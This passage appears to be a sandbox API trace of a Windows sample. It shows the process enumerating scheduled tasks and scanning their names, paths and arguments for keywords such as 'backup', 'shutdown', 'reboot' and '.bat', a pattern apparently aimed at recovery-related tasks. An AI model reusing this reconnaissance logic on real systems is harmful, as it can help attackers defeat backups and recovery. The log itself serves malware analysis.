varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.670] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.704] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.705] IUnknown:Release (This=0x2463648) returned 0x0 [0210.705] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.705] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.705] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.705] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.705] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.705] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24636c8) returned 0x0 [0210.706] IRegisteredTaskCollection:get_Count (in: This=0x24636c8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=2) returned 0x0 [0210.706] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.706] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict1") returned 0x0 [0210.706] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.708] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr="reboot") returned 0x0 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr="restart") returned 0x0 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr="shutdown") returned 0x0 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr="logoff") returned 0x0 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr=".bat") returned 0x0 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr="backup") returned 0x0 [0210.708] wcsstr (_Str="ipaddressconflict1", _SubStr=".cmd") returned 0x0 [0210.708] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.709] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.715] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.715] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.715] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463708) returned 0x0 [0210.715] IAction:get_Type (in: This=0x2463708, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.715] IUnknown:QueryInterface (in: This=0x2463708, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463708) returned 0x0 [0210.715] IExecAction:get_Path (in: This=0x2463708, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0210.715] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0210.715] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0210.715] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.715] IExecAction:get_Arguments (in: This=0x2463708, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPOffendingSystem") returned 0x0 [0210.715] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x7a6530 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="reboot") returned 0x0 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="restart") returned 0x0 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="shutdown") returned 0x0 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="logoff") returned 0x0 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".bat") returned 0x0 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr="backup") returned 0x0 [0210.715] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipoffendingsystem", _SubStr=".cmd") returned 0x0 [0210.715] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7a6530) returned 1 [0210.715] IUnknown:Release (This=0x2463708) returned 0x2 [0210.715] IUnknown:Release (This=0x2463708) returned 0x1 [0210.715] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.715] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.716] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.716] IRegisteredTaskCollection:get_Item (in: This=0x24636c8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e30) returned 0x0 [0210.716] IRegisteredTask:get_Name (in: This=0x2464e30, pName=0x5cf9f8 | out: pName=0x5cf9f8*="IpAddressConflict2") returned 0x0 [0210.716] IRegisteredTask:get_State (in: This=0x2464e30, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.717] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x26) returned 0x6c88f8 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr="reboot") returned 0x0 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr="restart") returned 0x0 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr="shutdown") returned 0x0 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr="logoff") returned 0x0 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr=".bat") returned 0x0 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr="backup") returned 0x0 [0210.717] wcsstr (_Str="ipaddressconflict2", _SubStr=".cmd") returned 0x0 [0210.717] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.717] IRegisteredTask:get_Definition (in: This=0x2464e30, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464ee0) returned 0x0 [0210.725] ITaskDefinition:get_Actions (in: This=0x2464ee0, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464f58) returned 0x0 [0210.725] IActionCollection:get_Count (in: This=0x2464f58, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.725] IActionCollection:get_Item (in: This=0x2464f58, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.725] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.725] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.725] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\rundll32.exe") returned 0x0 [0210.725] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3e) returned 0x6c2860 [0210.725] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="reboot") returned 0x0 [0210.725] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="restart") returned 0x0 [0210.726] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="shutdown") returned 0x0 [0210.726] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="logoff") returned 0x0 [0210.726] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".bat") returned 0x0 [0210.726] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr="backup") returned 0x0 [0210.726] wcsstr (_Str="%windir%\\system32\\rundll32.exe", _SubStr=".cmd") returned 0x0 [0210.726] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.726] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="ndfapi.dll,NdfRunDllDuplicateIPDefendingSystem") returned 0x0 [0210.726] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x5e) returned 0x7a6530 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="reboot") returned 0x0 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="restart") returned 0x0 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="shutdown") returned 0x0 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="logoff") returned 0x0 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".bat") returned 0x0 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr="backup") returned 0x0 [0210.726] wcsstr (_Str="ndfapi.dll,ndfrundllduplicateipdefendingsystem", _SubStr=".cmd") returned 0x0 [0210.726] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x7a6530) returned 1 [0210.726] IUnknown:Release (This=0x2463748) returned 0x2 [0210.726] IUnknown:Release (This=0x2463748) returned 0x1 [0210.726] IUnknown:Release (This=0x2464f58) returned 0x1 [0210.726] IUnknown:Release (This=0x2464ee0) returned 0x0 [0210.726] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.726] IUnknown:Release (This=0x24636c8) returned 0x0 [0210.726] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.727] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.727] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.727] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.727] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x24, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.727] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.727] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.727] IUnknown:Release (This=0x2463648) returned 0x0 [0210.727] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.728] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.728] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.728] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.728] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.728] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.728] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.728] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e88) returned 0x0 [0210.728] IRegisteredTask:get_Name (in: This=0x2464e88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SynchronizeTime") returned 0x0 [0210.729] IRegisteredTask:get_State (in: This=0x2464e88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.730] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e62f8 [0210.730] wcsstr (_Str="synchronizetime", _SubStr="reboot") returned 0x0 [0210.730] wcsstr (_Str="synchronizetime", _SubStr="restart") returned 0x0 [0210.730] wcsstr (_Str="synchronizetime", _SubStr="shutdown") returned 0x0 [0210.730] wcsstr (_Str="synchronizetime", _SubStr="logoff") returned 0x0 [0210.730] wcsstr (_Str="synchronizetime", _SubStr=".bat") returned 0x0 [0210.730] wcsstr (_Str="synchronizetime", _SubStr="backup") returned 0x0 [0210.730] wcsstr (_Str="synchronizetime", _SubStr=".cmd") returned 0x0 [0210.730] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e62f8) returned 1 [0210.730] IRegisteredTask:get_Definition (in: This=0x2464e88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f48) returned 0x0 [0210.736] ITaskDefinition:get_Actions (in: This=0x2464f48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.736] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.736] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463788) returned 0x0 [0210.736] IAction:get_Type (in: This=0x2463788, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.736] IUnknown:QueryInterface (in: This=0x2463788, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463788) returned 0x0 [0210.736] IExecAction:get_Path (in: This=0x2463788, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\sc.exe") returned 0x0 [0210.736] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="reboot") returned 0x0 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="restart") returned 0x0 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="shutdown") returned 0x0 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="logoff") returned 0x0 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".bat") returned 0x0 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr="backup") returned 0x0 [0210.736] wcsstr (_Str="%windir%\\system32\\sc.exe", _SubStr=".cmd") returned 0x0 [0210.736] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.736] IExecAction:get_Arguments (in: This=0x2463788, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="start w32time task_started") returned 0x0 [0210.736] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x36) returned 0x6c9c90 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr="reboot") returned 0x0 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr="restart") returned 0x0 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr="shutdown") returned 0x0 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr="logoff") returned 0x0 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr=".bat") returned 0x0 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr="backup") returned 0x0 [0210.736] wcsstr (_Str="start w32time task_started", _SubStr=".cmd") returned 0x0 [0210.736] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.736] IUnknown:Release (This=0x2463788) returned 0x2 [0210.737] IUnknown:Release (This=0x2463788) returned 0x1 [0210.737] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.737] IUnknown:Release (This=0x2464f48) returned 0x0 [0210.737] IUnknown:Release (This=0x2464e88) returned 0x0 [0210.737] IUnknown:Release (This=0x2463648) returned 0x0 [0210.737] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.737] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.737] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.737] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.737] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x26, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.737] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.738] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.738] IUnknown:Release (This=0x2463648) returned 0x0 [0210.738] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.738] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.738] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.738] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.738] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.738] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.739] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.739] IUnknown:Release (This=0x2463648) returned 0x0 [0210.739] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.740] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.740] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.740] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.740] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x28, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.740] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.740] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.740] IUnknown:Release (This=0x2463648) returned 0x0 [0210.740] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24635a8) returned 0x0 [0210.741] ITaskFolderCollection:get_Count (in: This=0x24635a8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.741] IUnknown:Release (This=0x24635a8) returned 0x0 [0210.741] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.741] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.741] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.741] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.741] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e98) returned 0x0 [0210.742] IRegisteredTask:get_Name (in: This=0x2464e98, pName=0x5cf9f8 | out: pName=0x5cf9f8*="QueueReporting") returned 0x0 [0210.742] IRegisteredTask:get_State (in: This=0x2464e98, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.743] IUnknown:Release (This=0x2464e98) returned 0x0 [0210.743] IUnknown:Release (This=0x2463648) returned 0x0 [0210.743] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.743] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.743] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.743] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.743] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.743] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.744] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0210.744] IUnknown:Release (This=0x2463648) returned 0x0 [0210.744] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2464e30) returned 0x0 [0210.744] ITaskFolderCollection:get_Count (in: This=0x2464e30, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0210.744] IUnknown:Release (This=0x2464e30) returned 0x0 [0210.744] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0210.744] ITaskFolderCollection:get_Item (in: This=0x47fc70, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0210.745] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2463648) returned 0x0 [0210.745] IRegisteredTaskCollection:get_Count (in: This=0x2463648, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0210.745] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e98) returned 0x0 [0210.745] IRegisteredTask:get_Name (in: This=0x2464e98, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UpdateLibrary") returned 0x0 [0210.745] IRegisteredTask:get_State (in: This=0x2464e98, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.746] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6e5e20 [0210.746] wcsstr (_Str="updatelibrary", _SubStr="reboot") returned 0x0 [0210.747] wcsstr (_Str="updatelibrary", _SubStr="restart") returned 0x0 [0210.747] wcsstr (_Str="updatelibrary", _SubStr="shutdown") returned 0x0 [0210.747] wcsstr (_Str="updatelibrary", _SubStr="logoff") returned 0x0 [0210.747] wcsstr (_Str="updatelibrary", _SubStr=".bat") returned 0x0 [0210.747] wcsstr (_Str="updatelibrary", _SubStr="backup") returned 0x0 [0210.747] wcsstr (_Str="updatelibrary", _SubStr=".cmd") returned 0x0 [0210.747] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5e20) returned 1 [0210.747] IRegisteredTask:get_Definition (in: This=0x2464e98, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f58) returned 0x0 [0210.751] ITaskDefinition:get_Actions (in: This=0x2464f58, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.751] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.751] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.752] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.752] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.752] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="\"%ProgramFiles%\\Windows Media Player\\wmpnscfg.exe\"") returned 0x0 [0210.752] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x66) returned 0x79d9e8 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="reboot") returned 0x0 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="restart") returned 0x0 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="shutdown") returned 0x0 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="logoff") returned 0x0 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".bat") returned 0x0 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr="backup") returned 0x0 [0210.752] wcsstr (_Str="\"%programfiles%\\windows media player\\wmpnscfg.exe\"", _SubStr=".cmd") returned 0x0 [0210.752] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, 